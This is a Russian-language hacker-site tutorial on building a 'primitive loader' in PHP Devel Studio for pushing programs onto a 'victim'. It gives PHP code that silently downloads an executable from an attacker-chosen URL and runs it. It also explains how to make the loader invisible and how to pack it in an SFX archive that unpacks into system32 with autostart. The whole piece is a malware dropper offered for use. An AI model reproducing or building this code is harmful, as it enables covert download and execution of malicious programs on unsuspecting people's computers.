Главная » Статьи » Php

Примитивный лоадер в php deve studio

Пособие для новичков. Некоторым персонам нужен хотябы самый простой лоадер. Например, мы хотим залить жертве несколько программ. Вот тут то и поможет этот самый лоадер.
Делать его мы будем на PHP Devel Studio 2.0. Скачать я думаю сможете сами.
И так, создадим новый проект и добавим на форму компоненты:
Функция (x1)
Загрузчик файлов (x1)
В настройках функции ставим галочку "Вызывать при старте".
Далее добавим функцие событие на "Выполнение"
Пишем

PHP highlight
//Измените данные как в примере 
$url 'http://site.ru/bild.exe'//Программа для загрузки должна ОБЯЗАТЕЛЬНО называтся BILD.EXE 
//ДАЛЬШЕ НИЧЕГО НЕ ИЗМЕНЯЙТЕ! 

dir_delete("load"); 
dir_create("load"); 
c("download1")->url $url
c("download1")->start();  

Измените ссылку на свою как в примере.
Теперь приступим к Загрузчику файлов
В настройках загрузчика поставьте галочку "Фоновый режим".
Добавим загрузчику событие на "Завершение"
Пишем

PHP highlight
Run(load/bild.exefalse); 
app::close();  

Теперь добавим загрузчику событие на "Ошибку"
Пишем

PHP highlight
app::close();  

Наш лоадер почти готов! Теперь осталось его сделать невидимым.
Нажимаем F7 
В пункте "Тип программы" выбираем "Тихий".
Все! Нажимаем F5 и собираем программу! 
Конечно вес программы 8 мегабайт это не дело. Пакуем ее в SFX архив с распаковкой в %windir%\system32\ и запуском нашего лоадера
в архив можно добавить какой нибудь скрипт для автозагрузки, но это другая тема.
Не забываем Изменять ссылку на сервер. Можно использовать даже Народ.
Всем спасибо.

 



Источник: http://hackers-live.3dn.ru/news/primitivnyj_loader_v_php_deve_studio/2015-07-30-8
Категория: Php | Добавил: TURBO-MAX (02.08.2015) | Автор: Баринов Максим
Просмотров: 344 | Рейтинг: 0.0/0
Всего комментариев: 0
avatar